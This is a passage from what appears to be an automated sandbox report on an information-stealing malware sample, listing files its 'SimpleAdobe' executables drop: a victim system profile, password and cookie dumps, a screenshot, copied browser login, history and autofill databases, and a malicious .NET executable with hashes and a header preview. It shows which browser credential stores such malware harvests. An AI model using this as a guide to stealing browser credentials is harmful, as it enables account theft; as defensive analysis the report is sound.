Preview:	Build: DEFAULT16..Version: 1.9....Date: Sat Apr 20 05:49:11 2024.MachineID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..HWID: 6506ac4fb74cac1aa4c2cfad6a7c847b....Path: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe..Work Dir: C:\Users\user\AppData\Local\Temp\adobeIT8d9rZTEaOT....IP: 81.181.57.52..Location: US, Atlanta..ZIP (Autofills): -..Windows: Windows 10 Pro [x64]..Computer Name: 549163 [WORKGROUP]..User Name: user..Display Resolution: 1280x1024..Display Language: en-CH..Keyboard Languages: English (United Kingdom) / English (United Kingdom)..Local Time: 20/4/2024 5:49:11..TimeZone: UTC1....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Microsoft Basic Display Adapter....[Processes]..System [4]..Registry [92]..smss.exe [328]..csrss.exe [412]..wininit.exe [488]..csrss.exe [496]..winlogon.exe [560]..services.exe [632]..lsass.exe [652]..svchost.exe [752]..fon

C:\Users\user\AppData\Local\Temp\adobeIT8d9rZTEaOT\passwords.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\adobeIT8d9rZTEaOT\screenshot.png

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	244866
Entropy (8bit):	7.888371270109516
Encrypted:	false
SSDEEP:	6144:dUUWuFqked+LDXEn5x2Nglj7wV5oQFeEmQJ:K10Y5I8jEMrQJ
MD5:	46CA727E47106E822B83D13A772D22C3
SHA1:	96E96711B6500BFEE2B30A39C547B4F382A0419E
SHA-256:	DD274F779B7CBD65D78E51CFBB598536D87BD519DB3AD6CBECB6B32DB64A2609
SHA-512:	E187FA337D0759BA88D8000DDCDA7172A612AA5BDBF49BFE466E6DEF187E55D70F3B0EAEFC80592C09726333392C93DC11329A19386FF033391362309EE34A10
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^..g.fW....s..Y%.DGt....L.;...x#n....s.T.>...$..H...{........@..F..F.+$.2.s.b......\..Y..Y.J....Zk..dV%.....Yv..a.....=...\.....4....(u....~..\|`.})~..~+.`.........+......ZH..=...O?..!;..I..-...\..;?e.<8/.g.+?..3.?......T..=0....3....+......3......B+...f...........f^>......jA...sRQQ..{....t.....x.=S..of....Y(.O\..j...w.5w....R.....T.c....'3.QQ..w..>.Q..-.n......o.Y.7.....?.Q.S.U..I..;N.A..5..j..U.(......7....9..~...wN..[.'\|7d..Nh....<.{S.x.w..W.'.....A.oV.u.s.._uG.^.......c...ZS.\|..5_..Q.W.J1W../..y..X......{.bwh.\|W......Z..b.W.......g...s.....v...!{...o.<~...\.....?...E,.1...~.v[.1o.}.c.....<....Kw..q.R.......I..m.X...............}Wo....46...vkR.fK.Wo.9j.....lbS.k.t{R...(............Z.5..+.\....{NlNb...h"..c>J~1.1.1.)..{N....j..b4.;..?.).C......7.X>....9\|......i.\|0~.M.o4~.#....{.G.C...._C...G...a.....9..Q....\|g.!..?[.>..

C:\Users\user\AppData\Local\Temp\adobej9k8gMFSuoDn\Cookies\Chrome_Default.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	530
Entropy (8bit):	6.005544722730675
Encrypted:	false
SSDEEP:	12:c7F2v4kMx/6UsMbf4/LJPhvkRj6a9kuEYTCRopYxOOVtouEYv:SCJyHXbfQJPh8RdkYiFoYv
MD5:	987FB1A1830B0EB5C0D306F8A2DE9981
SHA1:	8374E6320AD99C3FF177A9889F1AB75448F6EB19
SHA-256:	5EF24A6CE57CA3048431555909EC23CD5494DA76845F84271946442249DDA891
SHA-512:	9E2A48264084B79051FC275DD7780A5552B56220459A1CDDBE6F6A307FE0E5759AE20BC243D085D9734153879AC4E66233AB83F92551DD8092EABF85B16F2D15
Malicious:	false
Reputation:	unknown
Preview:	.google.com.TRUE./.TRUE.1712298002.NID.ENC893_djEwx6CLkXLg8AuSZWCgylmAsMNnd1LSfbcL+IfCgMvX/m5IrzdSwxt6X6n5S6C7wCoUoWvuixZpzrMizGZc5ohIpmsvlOrGTOhFkQ4+lCF6fVH0QNPBBb27o2nXM8em7EAYS1bYZC2LV04SqpgyxJmdfFA7UyWUoK8kFZQDRl0vdOzWdvAoumw2skuCCtJC2oG3z3OYbLTLDbM7wYvVmfDeqtnZRihAAt+ptqI6cfY1a+KO9XP+4XkDSXW7JhsexYHBqzSSBmUisGZ7f9E=_DrTFYLsM7YVgEN6pCv/RXeb8Bq748EwHbsLCIGv1kEc=...google.com.FALSE./.TRUE.1699078840.1P_JAR.ENC893_djEwZKzV9KAslchfQWnVTck71JHMVRC24lvAWgdl5WpYIXlINsbQSVWzkKU=_DrTFYLsM7YVgEN6pCv/RXeb8Bq748EwHbsLCIGv1kEc=..

C:\Users\user\AppData\Local\Temp\adobej9k8gMFSuoDn\information.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	7337
Entropy (8bit):	5.474710757927797
Encrypted:	false
SSDEEP:	192:xE+S84IUlzhQOIwkHDM0Hjo6ovxM4iEU1zmYyL2o0peuIx3dgXuVPlRakRWDjXHJ:dS/IU1hQOIwkHDM0Hjo6ovxM4iEU1zmC
MD5:	EB3AD96ED14181ADB565E007D75051A1
SHA1:	8B9B1C2B16AA7F28361974D65403CD4038603BF7
SHA-256:	411EC4C6E0957FA6FC782533DEE24F4BE952516EC9099DC55FDFB3861849C343
SHA-512:	55C13611E49447A92A15FAEA869FAF738EC55F0F5F7C570806BE51A440F5451C0AE2867A8C10117AE078AC8E9DE21B324838F597F3B1929EE22FDE8DFFF2288F
Malicious:	false
Reputation:	unknown
Preview:	Build: tauna..Version: 1.9....Date: Sat Apr 20 05:49:26 2024.MachineID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..HWID: 6506ac4fb74cac1aa4c2cfad6a7c847b....Path: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe..Work Dir: C:\Users\user\AppData\Local\Temp\adobej9k8gMFSuoDn....IP: 81.181.57.52..Location: US, Atlanta..ZIP (Autofills): -..Windows: Windows 10 Pro [x64]..Computer Name: 549163 [WORKGROUP]..User Name: user..Display Resolution: 1280x1024..Display Language: en-CH..Keyboard Languages: English (United Kingdom) / English (United Kingdom)..Local Time: 20/4/2024 5:49:26..TimeZone: UTC1....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Microsoft Basic Display Adapter....[Processes]..System [4]..Registry [92]..smss.exe [328]..csrss.exe [412]..wininit.exe [488]..csrss.exe [496]..winlogon.exe [560]..services.exe [632]..lsass.exe [652]..svchost.exe [752]..fontdrv

C:\Users\user\AppData\Local\Temp\adobej9k8gMFSuoDn\passwords.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Reputation:	unknown
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiIT8d9rZTEaOT\02zdBXl47cvzcookies.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiIT8d9rZTEaOT\3b6N2Xdh3CYwplaces.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiIT8d9rZTEaOT\5ICYdbG24XfVCookies

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiIT8d9rZTEaOT\7XOcpMAv8YGZWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiIT8d9rZTEaOT\CmSGx976RcNqHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiIT8d9rZTEaOT\D87fZN3R3jFeplaces.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiIT8d9rZTEaOT\G8n0p_xzBDT7Login Data For Account

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiIT8d9rZTEaOT\JpL3YVeZ0uQ2FWGpg5WG.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	315904
Entropy (8bit):	7.9900301024348765
Encrypted:	true
SSDEEP:	6144:DVa+NrJiVBc2wc6oKXwdUWFQg1SGWEWAMiY7ivtaqgntTZXHAYq7:J1NrJaBcOOiHWEWAMFKtdstTfq
MD5:	C60F5FA3A579BCA2C8C377F7E15B2221
SHA1:	D44B5C6DD64284F00D6F9D05CF5327A91CAD9339
SHA-256:	F5913E753281DBDF88F36C73D13AFBF4AF62046E25F8E148E87A80E88818C4D7
SHA-512:	F419ADF4BD07CE18D9B7DE7445B2D0185653DE27738FD4403F880EE11BF49CA8A1958C1B2C94F8F4C5DA52EBC79462CFB6FE71849439F6AF017A95B44AF2F77B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5..........."...0.............~2... ........@.. .......................@............`.................................,2..O............................ .......1..8............................................ ............... ..H............text...H.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................`2......H........$.................................................................]....0..#.........i. .......... .............+B.....- ....d....(....(...............+.......(...........o......X.. ....2.....+7. ....... ..............XX.. ....]...................X.. ....2........+f...+T..X ....].....X ....]...........&...................X ....]..........%G....a.R...X......i2....X.....2....................(....n .........%.....(..........0..H.........89.....P......%G ....X.R.P....

C:\Users\user\AppData\Local\Temp\heidiIT8d9rZTEaOT\KLIgZM9i7iJeWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiIT8d9rZTEaOT\KngKVvE0olMGHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiIT8d9rZTEaOT\R4YSKZUrzgCtWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiIT8d9rZTEaOT\TcE1Mjz1L98vWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiIT8d9rZTEaOT\Y_SvE8ghBxMwWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiIT8d9rZTEaOT\gVu_LOi9q3BYLogin Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiIT8d9rZTEaOT\i9xqFAzDO0YxWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiIT8d9rZTEaOT\nroosGMedMsrCookies

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\heidiIT8d9rZTEaOT\ppy3MT4f9KGOHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe
